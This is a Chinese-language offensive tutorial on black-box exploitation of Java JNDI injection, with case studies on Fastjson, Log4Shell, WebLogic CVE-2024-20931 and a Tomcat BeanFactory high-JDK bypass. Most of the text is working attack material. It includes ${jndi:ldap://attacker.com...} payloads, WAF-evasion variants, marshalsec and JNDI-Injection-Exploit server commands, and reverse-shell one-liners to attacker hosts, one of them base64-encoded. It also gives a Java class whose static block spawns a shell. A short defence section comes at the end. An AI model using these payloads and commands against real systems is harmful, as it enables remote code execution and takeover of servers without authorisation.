Java漏洞在黑盒实战中的技巧——JNDI注入篇
字数 2485 2025-08-29 08:29:42
JNDI注入漏洞实战指南
一、JNDI注入原理
JNDI(Java Naming and Directory Interface)是Java提供的统一资源访问接口,支持通过名称(如ldap://example.com/obj)动态加载远程对象。当攻击者能控制JNDI的查找地址(如输入参数被拼接到InitialContext.lookup()中)时,可指向恶意服务器地址,触发目标加载远程恶意类(如.class或.jar),最终实现RCE。
关键依赖条件
- 目标应用使用低版本Java(JDK ≤ 8u191/11.0.1/7u201/6u211,这些版本未默认关闭远程类加载)
- 存在未过滤的输入点传递给JNDI接口(如日志打印、参数解析等)
二、黑盒发现JNDI注入漏洞
1. 识别潜在输入点
- HTTP参数/Headers/Cookie:例如
username=${jndi:ldap://xxx} - 文件上传/下载功能:文件名、文件内容中嵌入JNDI Payload
- API接口:JSON/XML数据中的字段(如用户注册信息、订单信息)
- 日志上下文:如User-Agent、Referer等可能被Log4j2记录的位置
2. 构造探测Payload
基础Payload
- DNSLog回显验证:
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} - RMI协议验证:
${jndi:rmi://attacker.com:1099/exploit}
绕过WAF的变形
- 大小写混淆:
${${lower:j}ndi:ldap://xxx} - URL解析特性:
${jndi:ldap://127.0.0.1#.xxx.dnslog.cn} - Base64编码:
${jndi:ldap://127.0.0.1:1234/Basic/Command/Base64/[base64-encoded-cmd]}
3. 使用工具辅助验证
- DNSLog平台:生成临时域名(如
ceye.io、dnslog.cn),观察DNS请求记录 - Burp Collaborator:生成Collaborator地址替换到Payload中,检查HTTP/DNS交互
三、JNDI注入利用步骤
1. 环境准备
恶意服务器搭建
使用工具快速启动LDAP/RMI恶意服务:
# 使用marshalsec工具
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#ExploitClass"
# 使用JNDI-Injection-Exploit工具
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1
恶意类文件托管
在Web服务器上托管恶意.class或.jar文件:
python -m http.server 8080
2. 生成恶意Payload
简单命令执行
${jndi:ldap://attacker.com:1389/Exploit}
反弹Shell(需编码绕过特殊字符)
public class Exploit {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,<base64-encoded-cmd>}|{base64,-d}|{bash,-i}");
} catch (Exception e) {}
}
}
3. 触发漏洞
将构造的Payload发送到目标输入点(如HTTP请求参数、文件上传等),观察恶意服务器日志确认目标是否请求了恶意类文件:
[LDAP] Send LDAP reference result for Exploit redirecting to http://attacker.com/Exploit.class
4. 绕过限制
高版本Java利用(JDK > 8u191)
- 利用本地类(如Tomcat ELProcessor、Groovy等)进行二次攻击
上下文限制
- 分块传输
- 编码混淆(如Unicode、Hex)
四、典型案例分析
1. Fastjson反序列化漏洞中的JNDI注入
漏洞原理
Fastjson 1.2.24及以下版本的反序列化功能存在缺陷,攻击者可通过@type属性指定恶意类(如com.sun.rowset.JdbcRowSetImpl),触发setDataSourceName()和setAutoCommit()方法,进而通过JNDI加载远程恶意类实现RCE。
利用步骤
- 构造恶意RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://attacker.com/#Exploit
- 托管恶意类
- 发送构造的JSON Payload至目标Fastjson反序列化接口
绕过WAF技巧
- 编码混淆:如
%6a%6e%64%69代替jndi - 分块传输
2. Log4j2的Log4Shell漏洞(CVE-2021-44228)
漏洞原理
Log4j2在记录日志时,若日志内容包含${jndi:ldap://...}格式的字符串,会触发JNDI解析,动态加载远程恶意类。
利用步骤
- 注入到HTTP请求头:
GET / HTTP/1.1
User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}
- 搭建LDAP服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -i >& /dev/tcp/attacker.com/4444 0>&1" -A attacker.com
绕过WAF技巧
- 协议切换:
ldap://、dns://或rmi://混合 - 嵌套表达式:如
${${lower:j}ndi:ldap://...}
3. Oracle WebLogic JNDI注入(CVE-2024-20931)
漏洞原理
WebLogic未对JNDI查找接口的输入进行过滤,攻击者可控制lookup()参数,通过LDAP协议加载远程恶意类。
复现步骤
- 启动漏洞环境:
docker run -dit -p 7001:7001 ismaleiva90/weblogic12
- 生成Base64编码的反弹Shell命令
- 启动JNDI注入工具
4. Tomcat BeanFactory绕过JDK高版本限制
漏洞背景
JDK 8u191及以上版本默认禁用远程类加载,但可通过Tomcat的BeanFactory类实现绕过。
利用流程
- 服务端构造恶意Reference:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, true);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("calc", wrapper);
- 客户端调用
lookup("rmi://attacker.com:1099/calc")
五、防御建议
-
升级依赖:
- 升级Log4j2到≥2.17.1,设置
log4j2.formatMsgNoLookups=true
- 升级Log4j2到≥2.17.1,设置
-
代码层面:
- 避免将用户输入直接传递给
InitialContext.lookup()
- 避免将用户输入直接传递给
-
环境加固:
- 使用JDK ≥ 8u191/11.0.1
- 设置
com.sun.jndi.ldap.object.trustURLCodebase=false
-
WAF规则:
- 拦截包含
${jndi:、$%7Bjndi:等模式的请求
- 拦截包含
六、总结
- 发现重点:寻找所有可能的输入点,通过DNSLog快速验证漏洞存在
- 利用难点:绕过高版本JDK限制(需结合其他漏洞链)
- 实战技巧:善用工具(如marshalsec、JNDI-Injection-Exploit)和混淆技术,优先在测试环境中验证Payload